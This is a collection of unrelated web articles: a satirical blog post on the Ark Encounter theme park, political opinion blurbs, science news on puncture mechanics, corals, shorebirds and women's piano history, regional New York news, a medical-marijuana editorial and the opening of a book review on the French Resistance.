A $150 million theme park modeled on the biblical tale of Noah's Ark is being constructed in in Williamstown, Kentucky. The Ark Encounter features a life-sized replica of Noah's ark, 510 feet long and 85 feet wide. Opening day is July 7. According to the park's president and founder, Ken Ham, the ark will feature two of each species of animal which were present on the ark, including dinosaurs.

Ham, you may remember, debated evolution with Bill Nye "The Science Guy" in 2014.



The announcement by God, on His Facebook page that the Ark Encounter theme park was destroyed by flood on April 21, was debunked by snopes as a rumor. (Please note: God's Facebook page does include the disclaimer: "Thou shalt remember that The First Amendment protects satire as a form of free speech and expression.")



God-Creates-Adam-Sistine-Chapel

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However, God also noted that "The park recently announced that they would only be hiring Christians to work there," which is true, in spite of the fact that the park "received millions of dollars of tax breaks during theme park construction."

In a refreshing spirit of ecumenicalism, Ham noted that employees won't be required to belong to a specific Christian denomination: Baptists, Catholics, Presbyterians and other denominations are all welcome, as long as they are Christian.



Quran 4

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Noah, naturally, was not a Christian. His well-known story is told in the Hebrew Torah, and, of course, in the Quran. The Christian Bible later incorporated the traditional story into their literature.

In addition to building the ark, Noah invented wine and the naked drunken stupor (is that the basis of the etymology of "he-brew"?)



...: drunk

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When Noah was 500 years old, he begat three sons, Shem, Ham and Japheth. (It is unknown whether Ken Ham is a direct descendant.)

The Torah does not indicate how old Noah's wife was when she gave birth to these sons, but according to Jewish tradition, her name was "Naaman," and she was a descendant of Cain. Not that that was particularly special, as we shall see.

Cain and his brother Abel were the first two children of Adam and Eve. The first-born Cain murdered his brother Abel and then lied about it to God. Then he married his sister and set about to populate the earth. (Seth was born after Cain murdered Abel, and presumably married another sister. Or maybe the same one. Or maybe his mother. Who really knows? )



And that's how I learned it in Sunday School. It was a lot for a young mind to take in. Truly.

The Bible says that the entire world descends from this one family tree. And that would include all of the current presidential contenders. I'm starting to understand where the nutcases came from.


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Trump Deserves Impeachment. Does US House Have the Integrity? As it stands now, Trump is forcing the House to choose between impeaching him and caving in to him. Even if the House calls his bluff and impeaches him, Democrats and the country may lose the election. But if the House caves and allows the president to continue on his law-defying dictatorial path, then the election might well be irrelevant. Friday, May 24, 2019As it stands now, Trump is forcing the House to choose between impeaching him and caving in to him. Even if the House calls his bluff and impeaches him, Democrats and the country may lose the election. But if the House caves and allows the president to continue on his law-defying dictatorial path, then the election might well be irrelevant.

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US Constitution Is Now Officially a Joke As Applied to War or Peace Congress has the power, theoretically, to defund any military action it doesn't like. But first it would have to find one. It doesn't have to look far. Now would be the time for a resolution against any military action against Iran without express Congressional approval. That would invite another presidential veto. The Constitution's not in tatters, it's just irrelevant. And there's little sign that the American people care. Sunday, May 19, 2019Congress has the power, theoretically, to defund any military action it doesn't like. But first it would have to find one. It doesn't have to look far. Now would be the time for a resolution against any military action against Iran without express Congressional approval. That would invite another presidential veto. The Constitution's not in tatters, it's just irrelevant. And there's little sign that the American people care.

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NO Biden -- Some of the Reasons Why NOT Biden Biden can only fake gravitas. He goes on and on about "American values" and "who we are" without naming a specific value or saying who he thinks we are. This is political pandering in the form of a Rorschach blot. This is crude demagoguery that boils down to an appeal to elect a familiar under-achiever just because he's NOT Trump. Monday, April 29, 2019Biden can only fake gravitas. He goes on and on about "American values" and "who we are" without naming a specific value or saying who he thinks we are. This is political pandering in the form of a Rorschach blot. This is crude demagoguery that boils down to an appeal to elect a familiar under-achiever just because he's NOT Trump.

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US Makes Stuff Up to Grease the Skids for War on Iran With absolutely zero good reasons for waging war on Iran, the Trump administration goes on making stuff up to lie the country into yet another war. The template looks like the Bush administration's successful effort to lie the US into the Iraq War, the catastrophic effects of which keep unfolding. Saturday, April 20, 2019With absolutely zero good reasons for waging war on Iran, the Trump administration goes on making stuff up to lie the country into yet another war. The template looks like the Bush administration's successful effort to lie the US into the Iraq War, the catastrophic effects of which keep unfolding.

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The Sins of Ilhan Omar Start With Challenging Rigid Orthodoxy Boardman writes: Democrats have gone all atwitter (pun intended), scattering ruffled feathers all over the barnyard as if a fox were after them when the only serious threat to their blinkered preconceptions comes from a bird of different plumage. Saturday, March 9, 2019Boardman writes: Democrats have gone all atwitter (pun intended), scattering ruffled feathers all over the barnyard as if a fox were after them when the only serious threat to their blinkered preconceptions comes from a bird of different plumage.

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Court Uses Law's Absurdity to Allow Unfit Kavanaugh to Remain as Justice There was nothing that could be done legally about the 83 misconduct complaints against Judge Kavanaugh for one reason, and one reason only -- because he had become Justice Kavanaugh. That's the whole argument: that Kavanaugh gets to escape judicial accountability, and his getaway car is his seat on the Supreme Court. This is cultural madness and legal absurdity. What were those Tenth Circuit judges thinking? Saturday, January 12, 2019There was nothing that could be done legally about the 83 misconduct complaints against Judge Kavanaugh for one reason, and one reason only -- because he had become Justice Kavanaugh. That's the whole argument: that Kavanaugh gets to escape judicial accountability, and his getaway car is his seat on the Supreme Court. This is cultural madness and legal absurdity. What were those Tenth Circuit judges thinking?

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Afghanistan in 2019: Fewer US Troops, More CIA Torture and Killings The CIA-run death squad campaign isn't new, but it has been seriously expanded during the past two years. Death squad personnel run into the thousands, mostly Afghans, but are recruited, trained, equipped, and controlled by CIA agents or CIA contractors. Friday, January 4, 2019The CIA-run death squad campaign isn't new, but it has been seriously expanded during the past two years. Death squad personnel run into the thousands, mostly Afghans, but are recruited, trained, equipped, and controlled by CIA agents or CIA contractors.

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Climate Crisis Goes Unabated, Nations Most Responsible Still Anti-Future Take the 100 million barrels of oil the world uses every day. Leaving those 100 million barrels in the ground, day after day after day, year after year, would accrue to the health and welfare of billions of people over decades if not centuries. Sunday, December 23, 2018Take the 100 million barrels of oil the world uses every day. Leaving those 100 million barrels in the ground, day after day after day, year after year, would accrue to the health and welfare of billions of people over decades if not centuries.

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Climate Change Response Pits Trump Against US Government Climate change is a dynamic process, driven by human activity that humans have done little to mitigate for a generation. Climate change is happening, it is irreversible, but there is still time to mitigate its worst effects, to save lives, to preserve habitat, to adjust economies, to sustain a somewhat civilized world. Saturday, December 1, 2018Climate change is a dynamic process, driven by human activity that humans have done little to mitigate for a generation. Climate change is happening, it is irreversible, but there is still time to mitigate its worst effects, to save lives, to preserve habitat, to adjust economies, to sustain a somewhat civilized world.

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US Calls for Ceasefire, Keeps Attacking Yemen If the US were actually serious about peace and humanitarian aid for Yemen, the US could exercise leadership in the UN Security Council to force a peace process. The US could unilaterally take immediate and forceful actions to stop the war. US policy in Yemen continues to be based on profound lies with no moral justification. Sunday, November 11, 2018If the US were actually serious about peace and humanitarian aid for Yemen, the US could exercise leadership in the UN Security Council to force a peace process. The US could unilaterally take immediate and forceful actions to stop the war. US policy in Yemen continues to be based on profound lies with no moral justification.

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Many animals puncture other animals or plants to survive. The speed at which they attack their targets varies with size. Credit: Julie McMahon

If shooting arrows from a crossbow into cubes of ballistics gelatin doesn't sound like biological science to you, you've got a lot to learn from University of Illinois animal biology professor Philip Anderson, who did just that to answer a fundamental question about how animals use their fangs, claws and tentacles to puncture other animals.

Anderson conducted the study with Jeffrey LaCosse, of Charles E. Jordan High School in Durham, North Carolina, and Mark Pankow, of North Carolina State University, Raleigh.

By measuring how deeply an arrow - weighted to alter its mass between tests - penetrated a dense gelatin cube each time it was fired from a crossbow, the researchers found that the arrow's kinetic energy was the best predictor of its ability to penetrate its target. (See video below.)

They reported their results in the Royal Society journal Interface Focus.

The study is the first step of an effort to understand how nature, "red in tooth and claw," as the poet Alfred Tennyson wrote, uses tooth, claw, tentacles and even tools to capture food or defend against an enemy, competitor or predator.

"There are a lot of animals that have to puncture in order to survive," Anderson said.

"You have snakes that puncture with their fangs during strikes to inject venom. Some mantis shrimp, a group of marine crustaceans, use their very fast, power-amplified appendages to harpoon things like fish out of the water column and pull them down into their burrows to feed."

Stinging sea creatures like the Portuguese man-of-war also puncture their prey, but their puncturing apparatus is microscopic, Anderson said.

Credit: University of Illinois at Urbana-Champaign

"They sting using single-celled organs on their tentacles called nematocysts, which are basically little hydrostatic, pressurized harpoons that inject venom," he said.

The speed of these puncturing events also varies widely. A snake strike occurs at roughly 3 meters (9.8 feet) per second. Mantis shrimp can harpoon prey at about 7 meters (23 feet) per second. And some trap-jaw ants puncture their prey or enemies by snapping their jaws shut at speeds of up to 60 meters per second.

"That's more than 130 miles per hour," Anderson said.

The researchers want to know how these and other organisms have each solved the puncture problem for themselves; they hope to determine whether some universal principles are at play.

"What's really cool from the evolutionary point of view is that it's not often that you have the ability to look at biomechanical systems across such a wide range of animals that are all trying to achieve a similar performance," Anderson said.

When slowed to a comprehensible speed (see video), the process of puncture is quite complex. First, one object (we'll call it an arrow) must hit a target with enough energy to initiate a crack in the target's surface. The impact creates stress waves, which move through the target material much like sound waves move through the air, Anderson said. These waves interact with the edges of the target, creating deformation.

After the initial impact, the arrow must open up new surface area inside its target, breaking molecular bonds and overcoming friction to penetrate more deeply into the target.

"The target material builds up elastic energy as it deforms. At a certain point the elastic energy in the material causes it to push back against the arrow," Anderson said. "If the elastic energy is large enough, it can eject the arrow. This rebound occurred in about half of the crossbow trials."

The arrow's shape, its mass and speed also play a role, as does the composition of the target.

In Anderson's experiments, the target was a 4-inch cube of ballistics gelatin, which often is used in ballistics studies to simulate the density of human tissue.

By firing the weighted arrow into numerous identical targets and calculating the velocity of each firing and the depth of penetration of the arrow, the researchers found that the arrow's kinetic energy was the best predictor of target penetration.

Kinetic energy is equal to half the object's mass multiplied by the velocity squared:

kinetic energy =  mass x velocity2

An object's mass and its speed (velocity) are critical to its kinetic energy. The fact that speed is squared (multiplied by itself) means that an increase in speed will magnify the kinetic energy of an object much more than a comparable increase in mass.

"This means that one potential way for small animals to puncture and get through tough materials, even with a low mass, is to increase their speed," Anderson said. "And if you look across animals that puncture, it appears that the smaller ones tend to be faster."

Explore further How mantis shrimp evolved many shapes with same powerful punch

More information: "Point of impact: the effect of size and speed on puncture mechanics" "Point of impact: the effect of size and speed on puncture mechanics" DOI: 10.1098/rsfs.2015.0111
Credit: NASA

China plans to send a rover to Mars to explore the Red Planet, a top space official announced on Friday, in the latest step of its ambitious space programme.

Authorities approved the mission in January, said National Space Administration director Xu Dazhe told a press conference in Beijing, according to a transcript.

The aim was to launch around 2020, he said, calling the timing "a challenge" that would be "a giant leap" for the country's space capabilities.

"What we want to achieve is to orbit Mars, land, and deploy the rover in one mission, which will be quite difficult to achieve."

China is pouring billions into its space programme and working to catch up with the US and Europe, but has already been beaten to Mars by Asian neighbour India, which put a low-cost probe into orbit around the Red Planet in September 2014.

Once on the Martian surface, Xu said, the Chinese rover could study the planet's soil, atmosphere, environment, and look for traces of water.

"Researching these matters is really researching humanity itself and the origins of life," he said, adding: "Only by completing this Mars probe mission can China say it has truly embarked on the exploration of deep space."

China has an ambitious, military-run, multi-billion-dollar space programme that Beijing sees as symbolising the country's progress and a marker of its rising global stature.

China's recent space efforts have been focused on exploring the moon. The nation's first lunar roverthe Yutu, or Jade Rabbitwas launched in late 2013, but it has since been beset by mechanical troubles.

By 2018, the country aims to land its Chang'e-4 probenamed for the moon goddess in Chinese mythologyon the dark side of the moon.

But for the most part it has so far replicated activities that the US and Soviet Union pioneered decades ago.

The US has landed two rovers on Mars and the former Soviet Union and the European Space Agency have also sent missions to Mars.

China's first attempt to send a satellite into Mars orbit floundered in 2011 when the Russian rocket carrying the payload failed to make it out of the Earth's orbit.

 2016 AFP
Staghorn corals are the preferred prey of predatory Crown of Thorn starfish. Credit: Carden C. Wallace

A new study has found that the very corals responsible for establishing today's reefs are now some of the most threatened coral species due to climate change and other man-made stressors.

Professor John Pandolfi from the ARC Centre of Excellence for Coral Reef Studies (Coral CoE) at the University of Queensland (UQ) says the fast-growing, reef-building, branching Acropora, or 'staghorn', corals are responsible for the vast amount of modern reef growth. Although they have been around for at least 50 million years, these corals are now experiencing sharp declines in abundance worldwide.

"Acropora became a dominant reef builder about 1.8 million years ago," Professor Pandolfi says. "And coral reefs have been so successful ever since then due in part to its ascendanceindeed, reefs grow most rapidly when staghorns are the dominant reef-building corals."

The international study published today examined global historical sea-level data, as well as global coral occurrence dataincluding fossil recordsdating back to more than 60 million years ago.

The researchers found that while staghorns remained highly successful throughout rapidly changing environmental conditions in the past, their populations first began declining in Australia around the time of land-use changes with European colonisation. These patterns occur elsewhere, for example in the Caribbean Sea. More recently, these corals have suffered declines in abundance due to bleaching and disease, and have been almost completely wiped out across a number of reefs throughout the world.

Yet, staghorn corals currently remain one of the most prolific reef-builders, dominant on many reefs around the world and across all reef habitats: reef flats, crests and slopes, submerged reefs, and deeper reefs. They became successful because their colonies have the highest growth rates out of all corals, paired with an ability to regenerate when broken. Their presence is also a major factor in the ability of reefs to keep up with sea level risethough they are sensitive to other environmental stresses, staghorns actually thrived under rapid sea level changes.

Dr. Ken Johnson, from The Natural History Museum, London explains, "These are the corals that have allowed reefs to prosper during past intervals of rapid sea level change. But it seems as if staghorn corals will be compromised in providing this service in the future, even as we anticipate sea level rises over the next century."

The paper's lead author, Dr. Willem Renema from the Naturalis Biodiversity Center in The Netherlands, says staghorns provide even more benefits. "Staghorn corals contribute strongly to the structural complexity and three-dimensionality of reefs. Therefore, they play an important role in the ecosystem services delivered by coral reefs. This includes coastal protection and providing habitat for reef-associated biodiversity."

Coral reefs host more species than any other marine environment, are crucial for healthy fish populations, and, in providing coastal protection, they help dissipate up to 97% of incoming wave energy. However, in the past 20 years, coral cover has diminished by as much as 95 percent in some locations, such as the Caribbean. Coral health is compromised by climate change and local stress such as pollution and over-fishing.

So, what would a future without staghorn corals look like? "One need only look as far as the algal-dominated reefs of the Caribbean to find a future in the absence of staghorn corals," Pandolfi says.

"However, there is hope. Relieving local pressures on staghorn coralsfor example, by improving water qualityhelps increase their resistance to thermal stress from climate change. So by managing local anthropogenic stressors such as sediment runoff, dredging, and other sources of pollution, we can insure that these corals will be at their best when confronting global warming."

Renema et. al., 'Are coral reefs victims of their own past success?' appears in today's issue of Science Advances.

Explore further Great Barrier Reef risks losing tolerance to bleaching events

More information: Are coral reefs victims of their own past success? Science Advances, advances.sciencemag.org/content/2/4/e1500850 Journal information: Science Advances Are coral reefs victims of their own past success?
Straddling the legs around a cello was considered immoral for women; sitting by the piano was more becoming for a lady. Thus, women influenced the development of piano composition and play.

"The foundations for which instruments women and men should play were already laid in the Middle Ages," says Lise Karin Meling.

There have always been rules and conventions regarding what women can and can't do in the world of music. "Historiography is imbalanced on this area; there is no focus on what women have actually achieved."

Previous research has focused on women's limitations and areas in which women have been excluded and never gotten a chance. Meling, who is associate professor at the Department of Music and Dance at the University of Stavanger, has instead looked at what women have actually done: They have played the piano.

"Almost every piano composition written in the 19th century is written for women and girls," says the music researcher.

"Women's piano playing had enormous significance for the development of piano composition."

A must for bourgeoisie women

Piano instruments were considered the feminine musical instrument "par excellence" in the 19th century, to the extent that it became a norm in this period for all women belonging to the bourgeoisie and upper classes to have a decent command of the instrument. This was not just the case in England, from which most of Meling's sources are collected, but also in Norway.

"No cultured house should be without a pianoforte No Lady, who wish to be a Lady, can admit to not being able to play the pianoforte, and no Gentleman can allow its disregard," wrote the Norwegian author Bjrnstjerne Bjrnson in 1855.

Indecent musical instruments

But why the piano, exactly?

According to Meling's sources, the piano agreed with the stereotype of the mild, prudent female nature. The flute, the violin, and the oboe are "highly unbecoming to the fair sex," the music theorist John Essex wrote in 1721.

The oboe was particularly masculine; it would look indecent in the mouth of a woman. And the flute would take away "many of the juices better suited to whet one's appetite and advance digestion."

According to Meling, the recorder was, in fact, considered a highly erotic instrument for centuries. She's referring to paintings portraying nymphs luring men while playing the recorder.

"Horn and cello unsuited for the female body"

The German Carl Ludwig Junker was also plain on which instruments women should avoid in his book on women and music from 1783: the horn, the cello, the double bass, the bassoon, and the trumpet were all highly unsuitable for the female body, female fashion, and the female character.

Playing the contrabass in a corset, for instance  how ridiculous! Making large bodily movements when playing string and wing instruments  not very lady-like. An overly strong and powerful sound did not agree with a woman's modest and mild character. Drums and trumpets, Junker reminds us, are used in the military, and the horn is used for hunting, and are thus not to be considered feminine.

Additionally, some playing positions were directly immoral, such as distorting one's face in order to play a wind instrument, pressing one's lips together and supporting the sound with the stomach muscles. This might give the impression of an indecent woman.

Not to mention the playing position for the cello, in which a woman squeezed the instrument to her chest and straddled it with her legs. This would give people immoral ideas.

Junker's recommendation was that women keep to the piano. "Women can sit still by the piano and play without having to twist their body," says Meling. "They may sit in graceful and feminine positions with their legs together and show off in fashionable clothing."

Played themselves to the altar

Meling's sources to knowledge about women's piano playing are primarily gathered from the bourgeoisie and the upper classes. Sources documenting the musical practices of the lower classes are scarce, according to the researcher. "The lower classes were perhaps more preoccupied with work. They played folk music, but they probably didn't have the same musical culture as that of the upper classes."

In the more prominent strata of society, piano playing became a way to spend the days and a way of entering the marriage market. When Lady Middleton in Jane Austen's 1811 novel Sense and Sensibility finally marries, she stops playing the piano.

"She had reached what many considered the aim of music and piano playing," says Meling. "It was a part of women's education in order to advance their marriage prospects."

The piano as a multi-functional furniture

Due to the piano's popularity, the relatively large instrument became increasingly cheaper to acquire. And the manufacturers experimented with form and function. It was possible to purchase pianos that might also be used as salon tables, writing desks, cabinet, worktables, dressing tables, and toolboxes.

Playing normally took place within the privacy of the home, in some cases when visiting others. But if you were better at playing the piano than the hostess, you had to choose a less difficult piece to avoid putting her in an awkward position.

Performing in public was simply out of the question for most women. Meling refers to women's piano playing as a "home art." This type of musical exercise has not been considered as important as the one that took place in public. "Women played and sang within the confines of the homethat was their scene. And it was an important arena for much musical exercise and composition. Women's piano playing in the 19th century laid the foundation for the piano compositions of the 20th century."

The piano was the favourite instrument for accompanying song, and it became the most popular instrument of the nineteenth century. Many more compositions were published for the piano alone than for all other instruments together during the 19th century.

Too feminine for men

Innovation also took place within the home. "Many things were invented by the female piano players in the 19th century, such as playing without notes when performing concerts."

While girls were good performers, this was not necessarily the case with boys. This led to the development of a musical genre in which piano pieces were accompanied by a single overtone for the flute or the violin. Then the less-talented brother could play along without having to practice as much as his sisters in order to get it right.

The man's job was to admire the performing woman, sometimes to turn the pages in the music book for her. He should not play much piano himself, as that was perceived as a feminine occupation.

"Ethics manuals for English Gentlemen advise men against playing the piano," says Meling.

Fear of "piano epidemic"

At the same time, too much piano playing was warned against. The 19th century idea that women with a strong sex drive were prone to develop so-called hysteria was linked to music. Music might overstimulate the nervous system and be destructive for women's looks and reproductive organs. The Austrian music theorist Edvard Hanslick termed the phenomenon "Piano Epidemic"  in which the music gets the upper hand and results in illness.

A result of this concern was that piano tuning became a male profession. According to the theory, unmarried and thus sexually inexperienced women could become dangerously overstimulated by tuning a piano.

There are still major differences when it comes to music and gender, both in terms of what kinds of instruments men and women play, how they are referred to in the media, and their presence in public arenas such as music festivals and education.

"We see a clear divide between men and women when it comes to piano and guitar playing", Statistics Norway writes in connection to the 2008 figures for culture and leisure. Eight percent of the men played the piano, compared to 16 percent of the women.

A report from GramArt on Norwegian popular music from 2011 found that menplay several instruments to a larger extent, whereas women keep to one main instrument, and to vocals more generally.

In her book Eksperimentelt kvinneglam ("Experimental women's glam") from 2013, Maja Ratkje drew attention to the fact that the Oslo Philharmonic Orchestra had 113 pieces of music on their program that year. Of these, 112 were composed by men. No women were to conduct any of the 113 pieces, and women comprise only 13 percent of the members of the Norwegian Society of Composers.

"Can we draw any lines from the gendered musical instruments from the Middle Ages through the female piano culture of the 19th century up until today? Yes, in many ways we can," claims Meling.

But she is still more interested in what women actually do than in what they don't do.

"Rather than talking about the lack of female trumpeters in the 19th century, we should emphasize the women who played instruments and developed the art of piano playing. We should emphasise the areas in which women assert themselves."

Explore further Stanford aims to bring player pianos back to life

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Microsoft and Google said they have agreed to drop all regulatory complaints against one another to work out such concerns between themselves in the future

Microsoft and Google on Friday said they have agreed to drop all regulatory complaints against one another to work out such concerns between themselves in the future.

"Our companies compete vigorously, but we want to do so on the merits of our products, not in legal proceedings," a Google spokesman said in response to an AFP inquiry.

"As a result, following our patent agreement, we've now agreed to withdraw regulatory complaints against one another."

The US technology industry rivals late last year agreed to end all patent infringement litigation against each other.

A Microsoft spokesman told AFP that the decision to withdraw its regulatory complaints against Google around the world reflected "changing legal priorities" while the companies continue "competing vigorously."

Word of the accord came just days after the European Union opened a new anti-trust battle with Google, charging the US tech giant with abusing the dominance of its Android mobile phone operating system.

The charges, which come one year after Brussels took on Google over its search engine, come as a huge blow to one of the company's most strategic businesses and could change the face of the global smartphone sector.

A Microsoft spokesman told AFP that the decision to withdraw its regulatory complaints against Google reflect "changing legal priorities" while the companies continue "competing vigorously"

Vestager, a former Danish economy minister, said Brussels believed that "Google has abused its dominant position."

The companies maintained that the regulatory truce, reported earlier by the news website Re/code, was unrelated to the latest development in Europe.

Under chief executive Satya Nadella, Microsoft has made a series of collaborative moves with rivals, including making versions of its popular productivity programs available on Apple devices.

Explore further Microsoft and Google call truce in patent wars

 2016 AFP
Far Eastern Curlew in flight. Credit: D.S. Hovorka.

How do you reconcile the recreational needs of a city of two million people with the protection of migratory birds recovering after journeys half way around the planet?

University of Queensland scientists have proposed land-use zoning as a possible effective solution, by allowing people full access to the busy foreshore and limiting dog recreation to the most heavily used sites.

School of Biological Sciences honours student Madeleine Stigner, lead author of the study, said recreation was permitted in many protected areas around the world.

"Experiencing nature benefits our health and wellbeing and can provide revenue and support for conservation objectives, but we also need to give nature space to thrive," she said.

"We have shown that zoning can be effectively used to satisfy both recreational and conservation objectives in the Moreton Bay Marine Park, one of Australia's key resting areas for migratory birds.

"We counted birds, people and dogs at 85 stretches of intertidal foreshore over the 50km between Deception Bay and Lota.

"Two of the 17 migratory bird species identified in the surveys, the eastern curlew and the curlew sandpiper, are critically endangered."

Peak abundance of shorebirds occurs in the summer when recreational use of the foreshore is also at its highest.

"On average, 174 people and 72 dogs were present at any one time on the foreshore during each survey, with 84 per cent of dogs off the leash. An off-leash dog was sighted every 700 metres along the coastline," said Stigner.

"When dogs were present, birds were more likely to be absent, but the effect of people without dogs was much smaller." she said.

Associate Professor Richard Fuller said this suggested that dog disturbance was a key issue, and underlined the importance of having dogs under control at all times.

The researchers considered three types of zones  dog recreation zones, people access-only zones and conservation reserves (no access by people or dogs).

"The zoning analysis indicates we don't need conservation reserves in which people are kept out, but that reducing current widespread access by dogs to the foreshore would benefit shorebirds," Associate Professor Fuller said.

"A key finding was that 97 per cent of foraging migratory shorebirds could be protected from disturbance by designating five areas as dog off-leash recreation zones."

He said birds made gruelling journeys of many thousands of kilometres to escape the Arctic winter and arrived in Australia during warmer months, just when people were enjoying beaches.

"The problem is not that the dogs are killing birds on the beach, but they are excitable and chasing them when the birds need to forage and rebuild their strength to return for the Arctic summer," he said.

"Without sufficient energy reserves, the birds won't make it home."

It is illegal under Commonwealth and State legislation to cause unreasonable disturbance to migratory birds.

Associate Professor Fuller said some people were unaware of the legislation and others wilfully ignored it.

The research is published in the Journal of Applied Ecology.

Explore further Australia plan to protect 'long-haul' birds

More information: Madeleine G. Stigner et al. Reconciling recreational use and conservation values in a coastal protected area, Journal of Applied Ecology (2016). Journal information: Journal of Applied Ecology Madeleine G. Stigner et al. Reconciling recreational use and conservation values in a coastal protected area,(2016). DOI: 10.1111/1365-2664.12662
Democratic congressional candidate Mike Derrick said he joined Communication Workers of America union members to walk a Verizon strike picket line in Plattsburgh on Friday morning.

We have Verizon employees. They are picketing on the streets, he said, in a telephone interview later on Friday. Theyre fighting a management that is almost entirely focused on benefit to shareholders  benefit to executives.

Job security as the landline unit of Verizon closes domestic call center is one of the issues in the strike.

Telephone communications is basic infrastructure.  We have to have professionals running that, Derrick said.

Derrick, a retired Army colonel from Peru, in Clinton County, is running in the 21st Congressional District against Rep. Elise Stefanik, R-Willsboro, and Green Party candidate Matt Funiciello, a bread company owner and political activist from Hudson Falls.

Stefanik has received $2,000 in campaign contributions this election cycle from Verizon Communications Inc., as of March 31, according to reports filed with the Federal Election Commission.

Derrick trailed Stefanik in labor union financial support, as of March 31.
HUDSON FALLS  Lets Be Leonard is shooting for the moon.

No, really.

One night, when the guys in the band were goofing off, they decided their dream gig would be on the moon.

And thats going to save the Earth, joked Karl Bertrand, one of the groups founding members.

The Saratoga Springs-based band  Bertrand, Paul Guay, Connor Dunn, Chris Cronin and Matt Griffin  loves to indulge their silly side.

Were real goofy, Bertrand said.

The name of the band even started as a joke when they couldnt come up with one and Bertrand texted Dunn, Lets be Leonard, meaning they could go by Leonard.

But Dunn texted back, Oh, I love that, Lets Be Leonard.

Were playing like kids all the time, Bertrand said.

Not that they dont take their music seriously.

The band  which performs Saturday night with Frank Palangi and Paranoid Social Club as part of SUNY Adirondacks SuperJam at Hudson River Music Hall  performs three or four nights a week, traveling the Northeast with gigs throughout the region and in Vermont, New Hampshire, Connecticut and Maine. In coming weeks, they go to New York City for a residency there, then are heading out on a five-week tour to Austin, Texas, and back.

Were trying to show we can do it, Bertrand said.

Lets Be Leonard plays all original music, with a sound they describe as being somewhere between Dave Matthews Band, Grateful Dead and Steely Dan.

The bands first album, Cow, was released in November and was named, of course, by a joke gone too far.

We were just at a bonfire and it was a joke that spiraled too far, we thought what we were making was a pretty decent album at the time and thought, Wouldnt it be so stupid if we just named it Cow? and it snowballed, Bertrand said.

A lot of Leonard has been doing serious things, but joking around the whole time youre doing it, he said.

All five guys are full-time musicians, having left their day jobs behind to pursue their musical careers.

Were going to be big, I think, Bertrand said. Dont you have to think that? All of us kind of have that vision that were going to be the next big thing.

They are constantly writing new music, working to promote the band and their music, and doing their own booking.

The band recently converted a school bus into a tour bus, with five beds and a kitchen. They spent more than $4,000 to turn it into a home for the road.

It was really exciting, Bertrand said, until they realized they cant find a company to insure it. Its frustrating.

But it wont get Lets Be Leonard down. The group will keep touring and making music, whether to crowds of a few thousand at shows like LarkFest in Albany, or to a handful of people in a new town.

Were all just the best of friends, which is so amazing we could all come together, he said. Its all about the music.
BALLSTON SPA | A Saratoga Springs restaurant operator who formerly served as head chef at a Washington County eatery pleaded guilty Friday in Saratoga County Court to a felony charge.

John G. LaPosta, 52, of Clifton Park, would avoid a jail term if he makes $175,000 restitution to the owners of Maestro's American Bistro in Saratoga Springs, where he served as head chef between 2010 and 2014.

He pleaded guilty to second-degree grand larceny, a felony, and would be sentenced to 5 years on probation if he makes restitution.

His partner, Tina Kruger, pleaded guilty Friday to misdemeanor petit larceny. She will share in the restitution obligation.

Police said they funneled money from the restaurant into unauthorized accounts.

The couple were part-owners of Maestro's at one point, and have since opened an eatery in Colonie.

Both are free pending sentencing June 16 by Saratoga County Judge James Murphy.

LaPosta served as executive chef and innkeeper of The Cambridge Hotel in the early 2000s.
QUEENSBURY | Hundreds of guests at Great Escape Lodge were evacuated late Thursday after a carbon monoxide detector was triggered by a problem with a boiler.

Guests were kept out of the hotel for nearly 2 hours between 11:15 p.m. Thursday and early Friday as firefighters evacuated and ventilated the building. The hotel was open for normal business as of Friday

Queensbury Central Fire Chief Adam Norton said slightly elevated levels of carbon monoxide were found in the basement where the boiler was. No illnesses were reported and no one required medical treatment.

An issue with a boiler air intake was found and repaired, he said.

Firefighters from West Glens Falls, Bay Ridge, Lake George and North Queensbury assisted at the hotel.
Our system of government can often be messy and confusing, with federal laws saying one thing, then being contradicted by state statutes.

Medical marijuana is currently the most glaring example around the country.

Once considered the gateway drug to hardcore drug addiction, public attitudes toward marijuana have softened over the years. Last year, a Harris poll found 81 percent of respondents were now in favor of medical marijuana.

Twenty-three states currently have laws for medical marijuana, and several have already passed laws for its recreational use.

Just last week, the American Legions national commander spoke in Saratoga Springs and said his organization is weighing its stance on medical marijuana for veterans.

Thats important because marijuana use remains illegal by federal statute, and since the Veterans Administration is a federal agency, its doctors cannot legally prescribe the drug, even if it is legal on the state level, as in New York.

The good news is that the VA policy that prohibits doctors from recommending marijuana expired on Jan. 31. The bad news is that doctors still cannot prescribe marijuana until a new policy is in place.

An amendment that would allow medical marijuana for veterans passed through the Senate last year but was not included in final legislation by the House of Representatives. The amendment has again been approved by the Senate Appropriations Committee, but still not by the House.

So here is where it gets messy with political sides at odds over helping veterans or taking a hard line against legalizing drugs.

We come down on the side of veterans on this one.

It is acknowledged that this country  especially in the East  has a significant drug problem, and most of the experts are pointing to prescription painkillers as the new gateway drug to cheap supplies of heroin. We know it is happening all around us. Its the drugs prescribed by doctors that are now considered the gateway drugs, not marijuana.

Proponents of medical marijuana believe that in many cases, the use of marijuana as a substitute for prescription painkillers would be an important step in heading off future addictions to painkillers, and might also reduce the high number of veterans committing suicide.

But it gets even messier still, since even the medical marijuana laws are different state-to-state, and it is likely that the limited nature of New Yorks medical marijuana law might limit the number of veterans who would even qualify.

Dale Barnett, the American Legions national commander who spoke in Saratoga, acknowledged that the American Legion supports alternatives to prescribed painkillers.

The American Legion is an open-minded organization that is looking into all the facts, he said last week. Were still looking into it (medical marijuana). Were discussing it, and we certainly have not made any policy statements either for or against the use of medical marijuana.

Sen. Kirsten Gillibrand has taken a position for helping veterans and has proposed legislation that would provide veterans access to medical marijuana as one of its provisions.

We supported the use of medical marijuana in New York and dont understand why veterans should not have the same opportunities to manage their pain as other residents of the state, even if it is limited.

The House should immediately approve of the amendment that would allow VA doctors to prescribe medical marijuana, and we hope that Sen. Gillibrands legislation is also given serious consideration.
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Throughout my life, Ive received from American pop culture two basic, contradictory images of the French Resistance:

1. As a heroic vanguard that represented the will of the French people as a whole in defying Nazi oppression.

2. As an unrepresentative minority whose heroic myth provided a cover for the craven collaboration of the French people as a whole.

(This latter being especially popular in the lead-up to and early days of the Iraq War.) Olivier Wieviorkas The French Resistance, now out from Harvard Universitys Belknap Press in Jane Marie Todds English translation, complicates both pictures. Im currently working my way through his vast account, which is unabashedly not a popular history, but a synthesis of existing research into the Byzantine, mutating infrastructure of the Resistance.

